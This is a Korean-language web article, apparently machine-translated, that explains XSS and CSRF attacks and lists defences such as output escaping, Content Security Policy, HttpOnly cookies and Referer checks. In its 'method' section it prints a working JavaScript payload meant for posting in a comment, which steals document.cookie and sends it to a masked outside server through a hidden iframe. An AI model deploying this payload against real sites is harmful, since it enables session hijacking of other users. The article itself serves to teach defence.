>  기사  >  백엔드 개발  >  XSS 및 CSRF 공격으로부터 보호하는 방법

XSS 및 CSRF 공격으로부터 보호하는 방법

小云云
小云云원래의
2018-03-19 13:04:351927검색


XSS: 크로스 사이트 스크립팅(XSS라고도 함)은 웹 사이트 애플리케이션에 대한 보안 취약성 공격이며 일종의 코드 삽입입니다. 이를 통해 악의적인 사용자가 웹 페이지에 코드를 삽입할 수 있으며, 이는 웹 페이지를 볼 때 다른 사용자에게 영향을 미칩니다. 이러한 유형의 공격에는 일반적으로 HTML 및 사용자 측 스크립팅 언어가 포함됩니다.

CSRF: 교차 사이트 요청 위조(영어: Cross-site request forgery), 원클릭 공격 또는 세션 라이딩이라고도 하며 CSRF 또는 의도하지 않은 작업을 수행하는 공격 방법입니다.

간단한 이해는 다음과 같습니다.

XSS: 클라이언트 측 스크립팅 언어(가장 일반적인 예: JavaScript)를 통해
포럼 게시물에 악성 JavaScript 코드를 게시하는 것은 이 코드의 콘텐츠가 요청하는 경우 스크립트 삽입입니다. 외부 서버, XSS라고 합니다!

CSRF: XSRF라고도 알려져 있으며, 사용자인 척하고(사용자가 모르는 사이에) 요청을 시작하고, 사용자의 희망에 반하는 일부 요청(예: 악성 게시, 게시물 삭제, 비밀번호 변경, 이메일 전송 등)을 완료합니다. .).

방법

// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
    // 构造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://********";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 建立隐藏 iframe 用于通讯
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 开工
    document.body.appendChild(hideFrame);
})(window, document);

보호 방법

핵심 아이디어: 외부 소스의 모든 데이터는 페이지에 표시되기 전에 서버 코드로 필터링되어야 합니다. 즉, 모든 외부 데이터는 불법입니다. 필터링을 잘 해라.

1. innerText(IE)와 textContent(Firefox), 즉 jQuery의 text()를 사용하여 텍스트 콘텐츠를 출력해 보세요.
2 innerHTML 및 기타 기능을 사용해야 하는 경우 PHP의 htmlspecialchars와 유사한 필터링을 수행해야 합니다.

3 .html 출력 시 콘텐츠 보안 정책의 Http 헤더를 추가하세요

(기능: 페이지가 XSS의 공격을 받거나 타사 스크립트 파일을 삽입하는 등을 방지할 수 있습니다.)
(결함: IE 이하 버전의 브라우저에서는 지원하지 않음)
4. 쿠키 설정 시 HttpOnly 매개변수를 추가하세요
(기능: 페이지가 XSS 공격을 받을 때 쿠키 정보가 유출되는 것을 방지할 수 있으며 IE6과 호환됩니다.)
(결함: JS 코드 웹사이트 자체는 쿠키를 운영할 수 없으며 제한적으로 쿠키의 보안만 보장할 수 있습니다.
5. API 개발 시 요청의 Referer 매개변수를 확인하세요.
(기능: CSRF 공격을 어느 정도 방지할 수 있습니다.)
(결함) : IE 이하 버전의 브라우저에서는 Referer 매개변수가 위조될 수 있음)

관련 권장 사항:


크로스 사이트 및 xss 공격을 방지하기 위한 PHP 구현 예제 코드

XSS 쿠키 스틸러 작성 방법에 대한 자세한 설명 비밀번호를 훔치는 JS

XSS 및 CSRF에 대한 자세한 소개

위 내용은 XSS 및 CSRF 공격으로부터 보호하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.